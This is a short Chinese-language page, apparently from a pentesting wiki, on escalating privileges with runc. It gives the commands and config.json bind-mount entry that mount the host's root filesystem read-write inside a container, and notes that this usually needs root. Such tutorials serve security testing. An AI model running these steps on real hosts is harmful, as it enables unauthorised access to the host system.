## 基本信息

如果您想了解更多关于 **runc** 的信息，请查看以下页面：

{% content-ref url="/pages/PugILuEQPS7Q7WGgDa0N" %}
[2375, 2376 Pentesting Docker](/network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}

## PE

如果您发现宿主机中安装了 `runc`，您可能能够**运行一个容器，挂载宿主机的根 / 目录**。

```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo
```

{% hint style="danger" %}
这并不总是有效的，因为runc的默认操作是以root身份运行，所以以非特权用户身份运行它根本无法工作（除非你有一个rootless配置）。将rootless配置设置为默认并不是一个好主意，因为在rootless容器内部有很多限制在rootless容器外部不适用。
{% endhint %}
